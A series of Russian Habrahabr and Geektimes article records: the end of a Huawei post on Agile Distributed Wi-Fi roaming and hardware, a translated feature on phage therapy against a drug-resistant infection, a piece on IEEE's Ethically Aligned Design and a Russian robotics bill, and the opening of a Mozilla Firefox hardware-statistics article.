Как известно, при традиционной архитектуре ESS и переходе пользователя из зоны покрытия одной точки доступа в другую происходит процесс роуминга. Логика и алгоритмы переключения зависят от производителя и конкретной реализации, но, так или иначе, терминал пользователя должен предпринять ряд действий, чтобы роуминг состоялся. В решении Agile Distributed Wi-Fi за каждым терминалом, успешно прошедшим процесс аутентификации и ассоциации, назначается и закрепляется индивидуальный виртуальный AP BSSID (идентификатор точки доступа, эквивалент MAC-адреса): пользователь может переходить из зоны покрытия одного RRU в зону другого, но BSSID будет неизменен. C точки зрения пользовательского терминала он будет неизменно подключен к одной точке доступа.
Как же тогда происходит переключение с одной точки RRU на другую? Традиционно само пользовательское устройство контролировало уровни RSSI каждой досягаемой точки доступа. В решении Agile Distributed Wi-Fi все происходит с точностью до наоборот: центральная точка доступа Central AP собирает информацию о том, как каждый модуль RRU «слышит» терминал пользователя (=RSSI), после чего принимает решение о переключении.
Процесс выглядит следующим образом: Терминал успешно подключился к сети, и для него был выделен и закреплен за ним уникальный идентификатор точки доступа BSSID1 (при этом еще на этапе подключения центральная точка доступа определила, какой модуль RRU обеспечит наилучшее качество для пользователя – например, RRU1).
В какой-то момент времени пользователь меняет дислокацию и оказывается в зоне лучшего покрытия модулем RRU2. Центральная точка доступа, слушая RRU1 и RRU2, принимает решение о переключении пользователя на RRU2. Для того чтобы никакой трафик, предназначенный для пользователя, не был потерян в процессе роуминга, центральная точка доступа начинает сохранять его в буфер.
Следующим шагом RRU1 прекращает вещать BSSID1, и этот идентификатор переходит к RRU2. Пользователь перебрасывается на RRU2, но для него самого BSSID1 остался неизменным.
Последним шагом центральная точка доступа отправляет пользователю информацию из буфера. Суммарное время переключения составляет не более 50 мс.
Состав оборудования Беспроводной контроллер (AC): Модель
AC6605
AC6005
AC6003
ACU2
Поддерживаемое кол-во RRU
1024
256
48
2048
Поддерживаемое кол-во Central AP
128
32
6
256
То есть любая актуальная модель беспроводных контроллеров Huawei поддерживает Agile Distributed Wi-Fi. Central AP:
Модель
AD9430DN-24
AD9430DN-12
Поддерживаемое кол-во RRU
24 (48 при подключении через коммутатор с PoE)
12 (24 при подключении через коммутатор с PoE)
Максимальное кол-во пользователей
4096
2048
Интерфейсы
4 x гигабитных комбо-интерфейсов
24 x downlink-интерфейсов
2 x гигабитных комбо-интерфейсов
12 x downlink-интерфейсов
Выходная мощность PoE поддерживает
24 x R230D/R240D
12 x R230D | 6 x R240D
Место монтажа
Серверное или кроссовое помещение, шкаф
Любое место внутри помещения
Модули RRU:
Модель
R230D / R240D
R250D
Поддерживаемые стандарты Wi-Fi
802.11b/g/n
802.11a/n/ac
802.11b/g/n
802.11a/n/ac Wave2
MIMO
2x2
2x2 MU-MIMO
Пропускная способность (2,4+5 ГГц)
300 Мбит/с + 867 Мбит/с
400 Мбит/с + 867 Мбит/с
Тип антенн
Интегрированные
Интегрированные
Проводные интерфейсы
1 x FE (R230D)
1 x GE, 4 x FE, 2 x RJ11 (R240D)
2 x GE
Питание
PoE (R230D)
DC/PoE (R240D)
PoE
Варианты монтажа
Стена, потолок
Стена, потолок
Любопытно выглядит сравнение новейших RRU R250D и lightweight точек доступа последнего поколения AP4050DN: они обеспечивают одинаковую пропускную способность – 1,267 Гбит/с в диапазонах 2,4 и 5 ГГц, имеют схожие радиочастотные параметры, единый тип интегрированных антенн, поддерживают до 256 пользователей. Они идентичны и с точки зрения функциональных возможностей: модули RRU в связке с Central AP и контроллером также будут динамически выбирать каналы и мощность, обнаруживать источники интерференции, контролировать радиообстановку в реальном времени, обеспечивать балансировку между частотными диапазонами и соседними точками доступа. Цена вопроса
Стоимость Agile Distributed Wi-Fi – одно из ключевых преимуществ решения: выносные радиомодули RRU лишены дорогостоящих чипсетов, весь процессинг централизован и перенесен в корневые точки доступа. За счет этого стоимость модулей RRU почти в 3 раза меньше аналогичных традиционных lightweight точек доступа. Конечно, необходимым элементом решения является модуль Central AP, который тоже стоит определенных денег. Но корневая точка доступа поддерживает до 24 или 48 модулей RRU – в этом случае стоимость Central AP распределится между ними, что приведет к удорожанию RRU всего на 7-10%.
Второе, на чем удается сэкономить, – это лицензии на точки доступа для беспроводного контроллера: традиционно на контроллер AC требуется заложить лицензии в количестве, равном общему количеству точек доступа. В описываемом в данной статье решении лицензии требуется заложить лишь на центральные точки доступа, но не модули RRU.
Простой пример: есть офис, для покрытия которого требуется порядка 90 точек доступа. При стандартном подходе мы купим 90 lightweight точек доступа + контроллер + 90 лицензий. Аналогичное решение, построенное с применением Agile Distributed Wi-Fi, потребует те же 90 модулей RRU + контроллер + всего 2 лицензии (на Central AP). Как правило, не менее 8 лицензий уже идут с контроллером бесплатно, т.е. ничего докупать и не придется.
Для системы централизованного управления и мониторинга NMS eSight также будет иметь значение кол-во элементов Central AP, и здесь мы значительно сэкономим на стоимости лицензий. Область применения
Решение Agile Distributed Wi-Fi имеет много преимуществ, но, конечно, это не панацея для всего и вся: сценарии Wi-Fi с высокой плотностью пользователей, outdoor-развертывание и mesh-связность, узконаправленное секторное покрытие – эти задачи следует реализовывать с помощью специализированных продуктов и решений.
Но для львиной доли кампусных сценариев, в особенности для больниц и отелей с множеством отдельных помещений, офисов и предприятий со сложными внутренними планировками, данное решение отлично подходит. Опять же, мы можем значительно повысить качество покрытия, просто увеличив количество модулей RRU (благодаря их невысокой стоимости и отсутствию необходимости в докупке лицензий мы можем себе это позволить).
Решение Agile Distributed Wi-Fi делает беспроводную инфраструктуру передачи данных уровня Enterprise намного доступнее и позволяет многократно увеличить количество потенциальных потребителей. Вместо выводов
Поскольку наша основная цель – находить решения для конкретных проблем пользователей, то для нас очень ценен ваш опыт использования продукции Huawei Enterprise. Не поленитесь поделиться с нами этим опытом (как позитивным, так и негативным) в комментариях, если таковой имеется :) | https://habrahabr.ru/company/huawei/blog/317684/ |
habrahabr | Спасут ли нас вирусы от супербактерий? | ['бактериофаги', 'фаги', 'супербактерии', 'антибиотики'] | Когда серьёзно больному пациенту не помогли антибиотики, его спас вирус из местного пруда [не рекомендуется читать текст за едой, а также впечатлительным людям и беременным женщинам – прим.... | Когда серьёзно больному пациенту не помогли антибиотики, его спас вирус из местного пруда [не рекомендуется читать текст за едой, а также впечатлительным людям и беременным женщинам – прим. перев.]
Годами Али Ходадуст [Ali Khodadoust] существовал с буквально открытым сердцем. В 2012 году хирурги заменили ему дугу аорты и ненамеренно подсадили бактерию. Бактерия образовала колонии в виде биоплёнок и пробурила туннель через его грудную клетку, вышедший в результате наружу.
Это была опасная близость. Антибиотики для борьбы с инфекцией, которые старик ежедневно покорно проглатывал, не убивали бактерию. Тогда доктора вставили ему в плечо пластиковую трубку, и подавали антибиотики напрямую в кровоток. Но антибиотики проваливались один за другим. Спустя три года Ходадуста, офтальмолога из Нью Хэйвена, штат Коннектикут, отправили на лечение в Госпиталь Йеля-Нью Хэйвена. Рыжевато-коричневый гной сочился из отверстия диаметром с карандаш у него на груди. Иногда он окрашивался полосками яркой крови. В любой момент бактерия могла попасть в кровоток, вызвать септический шок и убить его.
Для устранения отвратительной бактерии хирургам нужно было отрезать инфицированные ткани, промыть полость сердца и вновь заменить дугу аорты. Но они опасались проводить операции над пожилыми пациентами, особенно в такой ситуации. Они решили, что операция была слишком рискованной, и отложили её. Затем его отвергла ещё одна группа в Техасе. А после отказа в Цюрихском госпитале исчезла последняя надежда Ходадуста.
В то время, как Ходадуст боролся за жизнь, всего в миле от него микробиолог Бенжамин Чен [Benjamin Chan] работал в экспериментальной эволюционной лаборатории. Чен изучал бактериофаги в лаборатории Пола Тёрнера [Paul Turner], профессора экологии и эволюционной биологии в Йельском университете. Бактериофаги, от греческого phagein, это вирусы, пожирающие бактерии. Фаги процветают там же, где бактерии – то есть, практически везде. Ни один организм на Земле не распространён и не разнообразен так, как фаги. Мы соприкасаемся с ними каждый раз, плавая в океане, жуя капустный салат или целуясь. Миллиарды лет эволюции сделали фагов идеальными убийцами бактерий – тихими, скрытными, эффективными. Но что интересно, ни один госпиталь в США сейчас не лечит пациентов фагами.
Тогда ещё Ходадуст не знал об этом, но Чен собирался сделать для него исключение. Кошмар E. coli: T4 бактериофаг (красный) и его паукообразные нити, используемые для присоединения и инфицирования E. coli.
Однажды днём я сидел с Ченом в его офисе в лаборатории мемориала Осборна, в похожем на кафедральный собор здании на Сайенс-Хилл в Йельском университете (просто мы с ним дружим). Солнце пробивалось сквозь большие окна. Переносная электроплитка на полке была зажата между учебниками по микробиологии. Восседая за своим столом в жилетке, узком галстуке и бледно-лиловых клетчатых носках, выглядывавших из его оксфордов, Чен был больше похож на члена инди-группы, чем на увлечённого микробиолога.
Моё лицо, наверное, скривилось, когда Чен сказал, что планирует инфицировать хрупкий организм 80-летнего пациента экспериментальным вирусом. Он уверил меня: «Фаги инфицируют только бактерий». Частенько фаги вообще атакуют бактерий единственного вида, или несколько его разновидностей. Фаг – ключ сложной конструкции, подходящий к единственной замочной скважине, к рецептору на клеточной стенке бактерии. Когда фаг вскрывает свою жертву, он проталкивает внутрь свой геном и превращает бактерию в машину для копирования фагов. В результате бактерию разрывает, и наружу выходят сотни клонов фага, оставляя останки бактерии. Некоторые фаги действуют менее дерзко, вставляя свой код в ДНК бактерии так, что при каждом воспроизведении бактерии копируется и фаг.
Это сильно отличается от работы антибиотиков, которые уничтожают любые бактерии, включая и то микросообщество, что поддерживает наше здоровье. Фаги же – утончённые и сдержанные гурманы. Они проникают внутрь биоплёнок, инфицируют своих жертв, и аккуратно уничтожают бактерии, оставляя микрофлору пациента нетронутым.
Их уникальный метод работы может позволить им стать грозным оружием в войне против супербактерий – таких, как MRSA, C. diff и CRE, способных, как в случае Ходадуста, ускользать от большинства антибиотиков. Супербактерии таятся в упаковке с курицей в продуктовом магазине, на сиденье поезда, на свежем белье в госпиталях, и каждый год заражают 2 миллиона американцев, 20 000 из которых умирают. Если антибиотики окажутся бессильными и супербактерии возьмут вверх, миллионы рутинных процедур – трансплантация органов, химиотерапия, даже простейший визит к стоматологу – станут потенциально опасными. Фаги могут открыть второй фронт на этой войне. Но, по многим причинам, они этого пока не сделали.
Фаготерапия началась в начале XX века. Микробиолог Феликс Д’Эррель выполнял в Институте Пастера в Париже задание по расследованию эпидемии дизентерии, поразившей французских солдат в Первой мировой войне. Интересуясь тем, почему некоторые заболели смертельно, а другие относительно легко переболели, Д’Эррель выращивал бактерии, полученные из фекалий солдат в лаборатории. Некоторые колонии бактерией в чашке Петри («бактериальные лужайки», как ласково называют их биологи) оказались пятнистыми. В этих местах нечто невидимое убивало бактерий. И в колониях бактерий от поправлявшихся солдат эти точки увеличивались. Он предположил, что эти невидимые «микробы иммунитета» могут помогать восстановлению пациента.
Для проверки своей теории Д’Эррель собрал этих микробов – они с женой назвали их фагами – и подсадил их 12-летнему больному дизентерией. Пациент быстро восстановился. Вдохновлённый этим, Д’Эррель открыл в Париже Лабораторию бактериофагов. Словно парфюмер, смешивающий запахи для разных случаев, он смешивал и продавал фагов против диареи, кожных заболеваний и простуд. Это занятие вышло за пределы Франции — Д’Эррель ездил в Грузию и помогал основать институт Элиавы , осуществлявший фаготерапию в 1923 году, а в 1940-х компания Eli Lilly продавала различные лекарства на основе фагов в США.
Это был хороший старт многообещающей терапии. Но ещё одно научное открытие подавило интерес к фагам. В 1928 году Александр Флеминг случайно нашёл пенициллин в плесени благодаря беспорядку, царившему в его лаборатории. Пенициллин стал волшебным лекарством: его не надо было изготавливать, как фагов, он стабильно работал, его можно было производить в больших количествах, и он мог храниться месяцами. Он также появился как раз вовремя: ко Второй мировой войне. Фаги же казались невидимым и капризным побочным продуктом бактерий, иногда лечившим инфекции, но часто не работавшим. До эпохи ДНК и молекулярной биологии было даже неизвестно, чем они являлись. К 1940-м антибиотики уже производились в промышленных масштабах в США и Европе. Фаги оказались в пыльном шкафу среди медицинских изгоев.
Но антибиотики не везде встречал одинаковый энтузиазм. В СССР они были дорогими. И в то время, как в Западной Европе исследование фагов затихло, оно продолжалось в сети советских лабораторий под руководством Института Элиавы. К 1980-м грузинские лаборатории выдавали еженедельно по две тонны спреев, порошков и пластырей с фагами. Большая часть продукции поступала в военку. Но исследования публиковались на русском и польском языках, и не проникали в США.
Но в западных лабораториях молекулярной биологии фагов подробно изучали. Там установили, что так же как и у «классических» живых организмов, наследственная информация фагов передается с помощью ДНК. Биологи добыли фагов для многих ферментов, используемых в современных лабораториях. А в 1976 году первым расшифрованным геномом был геном фага. Эффективная и спорная технология редактирования генов CRISPR-Cas была придумана на основе защиты бактерий от фагов. В итоге в США началось интереса к фагам, в частности из-за начала научного обмена между учёными США и России.
Чен начал охотиться на фагов в OmniLytics, одной из компаний, продававших фагов фермерам. Там Чен искал фагов для защиты скота от Escherichia coli O157:H7, а помидорных плантаций от заболеваний растений. По словам Чена, мы уже постоянно употребляем фагосодержащие продукты. Сосиски и мясо для бутеров обрабатывают средством «Listex», коктейлем из нескольких фагов, одобренным FDA в 2006 году, защищающем от листерий . Конкурент, компания Intralytix, предлагает спрей «SalmoFresh», атакующий сальмонеллу, заражающую птицу, фрукты и овощи. Фагов, в отличие от пищевых добавок, не обязательно упоминать на упаковке – так что покупателю сложно узнать, потребляет ли он вирусный спрей. Фаговые спреи органические, и Omnilytics рекламирует фагов как вкусную и естественную альтернативу пестицидам.
Когда Чен пеерехал в Нью Хэйвен в 2013, он хотел изучать потенциал фагов в качестве лекарств для людей. Он написал президенту госпиталя Йеля-Нью Хэйвена, что охотится за фагами и ему нужен пациент. Довольно быстро Чен встретился с доктором Ходадуста, Дипаком Нарайаном [Deepak Narayan], забрал свой приз (пробирка с замороженным гноем) и познакомился со своей бактериальной целью. Он посеял её в смеси бульона с агаром. Бактерия Ходадуста, Pseudomonas aeruginosa, росла яростно и быстро. «Пахнет она неплохо, похоже на виноградный ароматизатор», сказал мне Чен. Он заполнил холодильник пробирками с бактерией и проверял на ней различные антибиотики. Бактерия показала свою стойкость, и тогда Чен начал поиски фага, который бы смог её убить.
Разнообразие фагов перекрывает разнообразие всей остальной жизни на Земле. Везде, где бы ни искали учёные – в почве, в пещерах, в глубинах океана – они находят миллионы новых фагов. Размером они не превышают 100 нм, а всего их на планете живёт примерно 10 32 . Если бы фаги были размером с песчинку, ими можно было бы засыпать 1000 таких планет, как Земля. Для охотников за фагами нет никаких карт, где было бы указано место нахождения вирусного клада. Разыскиваемый Ченом фаг мог оказаться везде, где живут Pseudomonas – в людях, в госпиталях, в природе.
Чен искал везде, и не гнушался просьбами к приятелям и коллегам поделиться пробами их собственных фекалий. Другие биологи института помогали Чену. «Рыбоведы с верхнего этажа» – экологи, исследовавшие пресноводную форель – поделились с Ченом пробами из рек Новой Англии. Чен собрал десятки проб из озёр, луж, канализаций, компоста и почвы. В каждой крохотной пробирке было множество бактерий и фагов.
В лаборатории Чен смешивал каждый образец с несколькими каплями Pseudomonas bacteria. Только подходящий фаг мог заразить их клетки и размножиться. Словно винодел, фильтрующий шкурки, семена и листья винограда из вина, Чен пропускал смесь через фильтр в 100 раз мельче толщины человеческого волоса. Оставался лишь очищенный «нектар» – набор фагов.
И для проверки способности нектара убивать Pseudomonas, а не просто размножаться в них, он смешивал Pseudomonas от Ходадуста с очищенными фагами, выкладывал их в чашки Петри и выращивал культуры. Если бы фаг успешно внедрился в клетки бактерии, на бактериальной лужайке образовалось бы характерное пятно.
Однажды поздно вечером, через несколько месяцев, Чен нашёл нужных фагов. Стоя в одиночестве в своей готического вида лаборатории с высокими потолками, он с недоверием рассматривал чашку Петри, которую держал в защищённых перчатками руках. Ясно видимые круги выделялись на изумрудном фоне чашки, будто планеты разного цвета на тёмном небе. Он держал в руках бактериальное кладбище. После приготовления сотен чашек с Pseudomonas и добавления тщательно изготовленной пробы, он нашёл фаг-ключ, способный отомкнуть бактерию Ходадуста, ворваться в неё и учинить хаос.
Он посмотрел на маркировку на чашке Петри. Пруд Додж. Всё благодаря «рыбоведам сверху». Вода из пасторального пруда в Коннектикуте взрастила убийц бактерий, более способных, чем сильнейшие антибиотики. Чен быстро убедился, что его фаг-убийца также мог проникать через защитную биоплёнку, возведённую бактериями Pseudomonas на искусственной аорте Ходадуста.
Настало время самого сложного теста – не будут ли Pseudomonas эволюционировать и сопротивляться фагу? Не существует защищённых от эволюции терапий. Один из главных аргументов против фагов состоит в том, что эта терапия провалится так же, как антибиотики. Бактерии могут выработать сопротивляемость к фагам. Поэтому фагов часто применяют в смесях. В идеале, если бактерия выработает сопротивляемость к одному из них, другие сделают свою работу. Как и ожидалось, за ночь бактерия выработала иммунитет. Но не было ли у бактерии, сопротивлявшейся фагам, слабого места? Чен посеял новую устойчивую бактерию и добавил антибиотик цефтазидим. На следующее утро в этом месте образовалось прекрасное пятно смерти.
Pseudomonas выработали сопротивляемость, избавившись от рецепторов, через которые проникали фаги из пруда. Но без них бактерии стали уязвимыми. Эти рецепторы играют другую важную роль – выкачивают из клетки антибиотики. Когда Чен добавил антибиотики, то лекарство, ранее неэффективное, легко проникло через клеточную стенку. А без способности откачать их, Pseudomonas оказались отравленными изнутри. Комбинация фагов из пруда и цефтазидима поставила эволюции мат.
Вновь выйдя на поверхность в США, фаги сталкиваются с новыми препятствиями для использования их в медицине, не последним из которых является одобрение FDA. «Фаги вроде бы работают, говорит Рэндал Кинкейд [Randall Kincaid], главное должностное лицо по науке в объединении Национальные институты здравоохранения США. – Но у нас нет хорошей статистики по аккуратным научным исследованиям, которая бы говорила, что именно фаги стали причиной выздоровления. Нам нужно думать об этом с точки зрения докторов. Когда пациент приходит к доктору с бактериальной инфекцией, принято лечить его антибиотиками. Нам нужны недвусмысленные доказательства преимуществ фагов, чтобы принять их».
Было проведено несколько успешных клинических испытаний. Фазы I и II испытаний, проведённых AmpliPhi Biosciences Corporation, выявили, что одна доза коктейля из фагов хорошо помогла против ушных инфекций Pseudomonas aeruginosa, устойчивых к антибиотикам. Другое испытание фазы I обнаружило, что коктейль из фагов, предназначенный для лечения язв ног, был безопасен, но не смог значительно ускорить выздоровление пациента (на фазах I проверяется безопасность лекарств, на фазах II – эффективность).
Но пока ещё не проведено ни одного испытания фазы III – конечного этапа, подтверждающего эффективность медицины, для которого требуется не менее 1000 пациентов. Поскольку принцип работы фагов кардинально отличается от антибиотиков, неясно, как оценивать их эффективность. Кевин Оттерсон, профессор юридических наук в Юридической школе Бостонского университета, и исполнительный директор акселератора CARB-X, собирающегося влить $350 млн в разработку новых продуктов для борьбы с супербактериями, говорит, что «с антибиотиками понятно, какие доказательства нужно получить в экспериментах с животными, и какие исследования проводить на людях. Как должен выглядеть эксперимент с фагами – вопрос очень открытый».
Некоторые преимущества фагов порождают проблемы, волнующие регуляторов и критиков. Главная – специализация, которая делает их точными инструментами, но при этом означает, что клинические испытания должны подтверждать безопасность и эффективность для каждого вида бактерий. Антибиотики широкого профиля часто прописывают без уточнения диагноза, а лечение фагами требует точного установления вида бактерий. Это может изменить ход процедуры обследования. Вопрос с дозировкой в случае фагов также усложняется. Антибиотики проходят по телу и подвергаются метаболизму предсказуемыми путями. Фаги – это не мёртвые вещества. Если они найдут свою бактерию, то начнут размножаться. Это значит, что иногда будет достаточно и одной дозы фагов, но также это значит, что их активность сложно предсказать. Сколько фагов дать пациенту? Как быстро бактерии выработают сопротивляемость? Даже когда фаги прекрасно ведут себя in vitro, сложно предсказать, как они будут действовать in vivo, в сложном и непростом для навигации окружении человеческого тела.
Ещё один неприятный вопрос: кто будет платить за клинические тесты? Они часто стоят сотни миллионов долларов. По сравнению с лекарствами от рака, говорит Кинкейд, «для лечения инфекционных заболеваний не такие уж большие доходы по инвестициям». Сейчас сложно продать идею фагов инвесторам, желающим получить гарантию успеха. Фаги, набранные из канализации и компоста, это природный продукт и их нельзя запатентовать. Компании могут обойти этот момент, патентуя коктейли или создавая фаги в лаборатории. «Здесь большую роль играет прецедент», говорит Кинкейд, годами управлявший биотехнологической компанией до текущей работы в NIH. «Инвесторам не нравятся возможные капризы неизвестных нам вещей». Он считает, что правительству нужно вмешаться в ускорение и финансирование исследований фагов.
Крупнейшим тестом фаготерапии на сегодня стал PhagoBurn, стоивший европейской комиссии €3,8 млн, и он столкнулся с несколькими проблемами. Изначально в него хотели привлечь 220 человек с ожогами и инфицированными ранами из 11 различных госпиталей Франции, Бельгии и Швейцарии. Планировалось проверить эффективность двух разных коктейлей из фагов по сравнению с обычным антибиотиком, сульфадиазином серебра. После того, как учёным с трудом удалось доказать стабильность фагов в коктейлях, они столкнулись с трудностями в поиске пациентов. Для тестов требовались люди, инфицированные либо Escherichia coli, либо Pseudomonas aeruginosa, но не обеими одновременно. Но жертвы ожогов часто заражаются многими патогенами. Нашлось всего 15 пациентов для исследования Pseudomonas aeruginosa. А вариант с E. coli пришлось вообще отбросить. Уменьшенный вариант теста продолжается, результаты будут известны следующей весной – через четыре года после его начала.
Есть и те, кто отвергает фаготерапию. Стив Проян [Steve Projan], старший вице-президент по исследованиям и развитию, и глава отдела инфекционных заболеваний и вакцин в биотехнологической компании MedImmune, ранее работавший в Novartis and Wyeth, так написал об этом в статье 2004 года: «Личные и анекдотические рассказы бывших пациентов, которым 'помогла' фаготерапия, смешные и грустные одновременно – по очевидным причинам, мы ничего не услышим от тех пациентов, инфекции которых вылечить не удалось». Проян пишет, что вместо попыток преодоления всех препятствий фаготерапии, деньги можно было бы потратить лучше – например, на разработку «терапий с малыми молекулами», включая и антибиотики. Он отказался давать интервью.
Другие же более оптимистичны. Несколько стран Восточной Европы штатно используют фаготерапию. Институт им. Людвига Хирцфелда в Варшаве, Польша, использует фагов в качестве последнего средства, для пациентов, кому не помогли антибиотики. С 1980-го там лечили более 1500 пациентов, заражённых устойчивыми к лекарствам бактериями, и институт сообщает, что «большую часть из них удалось вылечить». В Грузии фаги используются ещё шире. Доктора лечат около 20% поступающих пациентов при помощи фагов. Центр фаготерапии в Тбилиси привлекает пациентов со всего мира, страдающих от неизлечимых инфекций мочевых путей, акне, муковисцидоза, кишечных инфекций. Центр утверждает о 95% успешности лечения. Но многие западные учёные сомневаются в этом, поскольку их не проверяли ни FDA, ни Европейское медицинское агентство.
И ещё есть Ходадуст и Чен.
Через несколько месяцев после успеха Чена в лаборатории, настало время попробовать лечение на Ходадусте. Его привели в процедурную комнату в Йель-Нью-Хейвенском госпитале, и двое медиков вкатили тележку с реанимационным оборудованием. Чен рассказал, что его тогда накрыла волна паники. Перед небольшой аудиторией из хирургов и студентов радиолог ввёл небольшое количество смеси из солёной воды, фагов и антибиотиков, в грудную полость Ходадуста. Чен неотрывно следил за зигзагами аппарата, отмечавшего сердцебиение пациента. Каждый зазубренный сигнал говорил о том, что доставка вируса прямо к сердцу пациента его не убила. Черезь день Ходадуста выписали. Никаких очевидных изменений в его состоянии не наблюдалось.
Чан не знал, расстроился он или успокоился. «Я волновался, что убью человека. Либо фаготерапия сработает – невероятно – либо всё пойдёт плохо – ужасающе плохо».
Несколько недель Чену не поступало сообщений. Через месяц Нараян сообщил Чену, что Ходадуст отправился на самолёте навестить родственников за границей. Чувствовал ли он себя так хорошо, чтобы путешествовать, или он решил повидаться с семьёй перед смертью?
Затем, через шесть месяцев после процедуры, без предупреждения, Ходадуст пришёл в клинику Нараяна. Его грудь полностью зажила, вместо дыры была ровная поверхность. Обычно молчаливый Нараян сказал Чену, что его пациент выглядел «на миллион долларов». В первый раз за три года он не принимал антибиотики. Никаких побочных эффектов замечено не было.
Нараян не может быть уверен, что выздоровление Ходадуста произошло благодаря фаготерапии. В идеальном мире он изучал бы его после операции, отслеживал бы состояние полости, тестировал всё, что оттуда сочилось, на наличие Pseudomonas. Но он уверен, что его пациенту помогли фаги из пруда Додж. Он узнал, что через пять недель после терапии некая группа хирургов приняла Ходадуста, чтобы удалить часть трансплантата, удерживавшего его новую аорту. Они протестировали трансплантат, и тот уже не содержал Pseudomonas. Он впервые за три года перестал принимать антибиотики, и инфекция так и не вернулась. Вирус из пруда, находящегося всего в 60 километрах от его дома, дал ему новый шанс – и новый смысл термину «местные лекарства».
Чен, Нараян и Тёрнер отметили это дело, погрузившись в написание научных работ. Они надеются спланировать клинические испытания смеси фагов из пруда Доджа с цефтазидимом. Но перед испытаниями на людях фагов нужно проверить на крысах. Команда использует доклинические услуги NIH для проведения тестов in vivo на животных.
А в это время Чен собирает библиотеку фагов. Если вы живёте в Нью Хэйвене, или недавно пользовались тамошними туалетами, вы можете стать невольным донором. Он еженедельно посещает станцию очистки воды Ньюю Хэйвена, берёт пробы веществ, приходящих из туалетов со всего города, фильтрует из них фагов и проверят их на множестве чашек Петри, содержащих потенциальные супербактерии. Охота уже принесла успехи. Чен изолировал фагов для Klebsiella pneumoniae и Enterococcus faecalis, устойчивых к антибиотикам, и вызывающих инфекцию мочевых путей. Во время последней поездки за фагами на Гаити Чен нашёл фага, атакующего бактерию холеры, Vibrio cholerae.
Иногда из экскрементов одного человека можно приготовить коктейль из фагов для другого. | https://geektimes.ru/post/283744/ |
habrahabr | «Мир не Дикого Запада»: IEEE опубликовала стандарт по созданию благожелательных роботов | ['westworld', 'vas experts', 'ieee', 'робототехника'] | По словам Мартины Ротблатт (Martine Rothblatt), предпринимателя и футуриста, человечество быстро движется к следующему эволюционному витку — к тому моменту, когда мы начнем загружать свое сознание... | По словам Мартины Ротблатт (Martine Rothblatt), предпринимателя и футуриста, человечество быстро движется к следующему эволюционному витку — к тому моменту, когда мы начнем загружать свое сознание в компьютеры. Она отмечает, что сегодня многие тратят по нескольку часов в день на переписку в социальных сетях, обмениваясь цифровой информацией, которую Мартина называет «интеллектуальными файлами». «Большие ИТ-компании вливают миллиарды долларов в разработку искусственного интеллекта, потому есть вероятность, что эти файлы будут использоваться для создания цифровых версий людей», — говорит Ротблатт. / Flickr / Matthew Rutledge / CC
По этой причине Мартина занимается вопросами персонификации, идентичности и гражданских прав будущих виртуальных людей. Будет ли цифровая версия вас вами? Или это совершенно другая персона? И персона ли вообще?
И хотя мы определенно движемся к моменту переноса сознания в компьютер, до появления первых виртуальных людей пройдет еще много времени. Но уже есть другая, так сказать, категория объектов (пока еще), поведение которой стоит регулировать. 13 декабря Институт инженеров электротехники и электроники — IEEE — представил первую версию «стандарта» по созданию роботов и искусственного интеллекта, который получил название Ethically Aligned Design. Документ был разработан при участии сотни членов IEEE Global Initiative и экспертов в области ИИ, этики и других наук.
Предполагается, что Ethically Aligned Design породит дискуссии в обществе о том, как интеллектуальные и автономные системы должны вести себя в системе ценностей и этических принципов человечества. Хотя искусственный интеллект является достаточно многообещающей технологией, становится очевидно, что нужно нечто большее, чем просто вычислительные мощности, дабы решить «глубинные» проблемы. Поэтому новый стандарт предостерегает разработчиков от создания черных ящиков и предлагает методологии для проведения исследований.
IEEE отмечает, что роботы не должны причинять вред пользователям. В документе говорится, что интеллектуальные системы становятся все более сложными, потому незапрограммированное поведение может стать опасным, и необходим надзор за процедурой разработки интеллектуальных и автономных систем.
Новые и уже существующие рабочие группы проведут встречу по этому вопросу в Техасском университете в Остине 5–6 июня 2017 года, чтобы внести правки и учесть пожелания общественности во второй версии документа Ethically Aligned Design, который будет выпущен осенью того же года. Роботы в России
Стоит отметить, что подобными вопросами задаются и в России. Например, 15 декабря учредитель Grishin Robotics и сооснователь Mail.ru Group Дмитрий Гришин совместно с юристом Виктором Наумовым представил проект закона «О робототехнике».
В документе предлагается частично применять к роботам то же самое регулирование, которое применяется к животным и юрлицам. На сегодняшний день, как объясняет Гришин, искусственный интеллект не имеет эмоций, потому не может стать субъектом права — в этом они похожи на животных. Что касается юрлица, то искусственный интеллект является «особой юридической конструкцией».
Гришин допустил создание единого реестра роботов по типу ЕГРЮЛ и введение ответственности (в том числе уголовной) для производителей роботов, как владельцев источника повышенной опасности. По мнению Гришина, роботы могут быть субъектами уголовного права. Он отмечает четыре возможные ситуации: намеренное создание робота-убийцы с целью совершения правонарушения, умышленное отключение программ робота, блокирующих причинение вреда человеку, а также умышленное и неумышленное создание робота, способного нанести вред человеку.
Проект закона был отправлен в ведущие юридические институты, и авторы выражают надежду, что он станет базой для внесения изменений в Гражданский кодекс.
Президент Cognitive Technologies Ольга Ускова тоже уверена, что вопрос внесения изменений в законодательство поднят очень своевременно. Её аргументом стало то, что отрасль автопилотируемых автомобилей развивается гораздо стремительнее, чем прогнозировалось (например, в Питтсбурге Uber уже начал тестирование беспилотников на улицах города).
Она отмечает, что необходимо ввести метрики и стандарты для установления уровня интеллекта роботов, и отработать правила поведения машин с интеллектом в критических ситуациях. «Вопросы общефилософского характера и ответственности должны тоже решаться, но как часть регулирования. В первую очередь нужно выработать систему взаимоотношений между машинами, а также между людьми и машинами», — продолжает Ускова.
Гришин убежден, что очень важно не начинать регулирование этой отрасли в России с введения запретов. Да, роботы сейчас меньше распространены в России, чем, к примеру, в Соединенных Штатах, но Россия имеет шанс стать первой в области регулирования робототехники, что даст огромные преимущества.
О чем еще мы пишем в блоге VAS Experts на Хабре: «Эхо прошлых лет»: Как решается вопрос недостатка адресов IPv4
«Везде на связи»: Интернет на воде, в воздухе и космосе
DPI-дайджест: Анализ трафика, блокировки, платформы и производители систем DPI
| https://habrahabr.ru/company/vasexperts/blog/316274/ |
habrahabr | Mozilla выпустила статистику «железа» на клиентских ПК | ['Mozilla', 'Firefox', 'статистика', 'веб-разработка'] |
Если вы занимаетесь веб-разработкой, то нужно обязательно знать, на каком оборудовании будет работать ваше приложение. Может быть, оно не запустится вовсе. Для какого разрешения экрана... |
Если вы занимаетесь веб-разработкой, то нужно обязательно знать, на каком оборудовании будет работать ваше приложение. Может быть, оно не запустится вовсе. Для какого разрешения экрана оптимизировать вёрстку и иллюстрации? Какие процессоры, операционные системы, сколько памяти установлено на компьютерах пользователей. Ответы на все эти вопросы даёт свежий отчёт Firefox Hardware Report , собранный по результатам телеметрии с компьютеров, где запускали браузер Firefox.
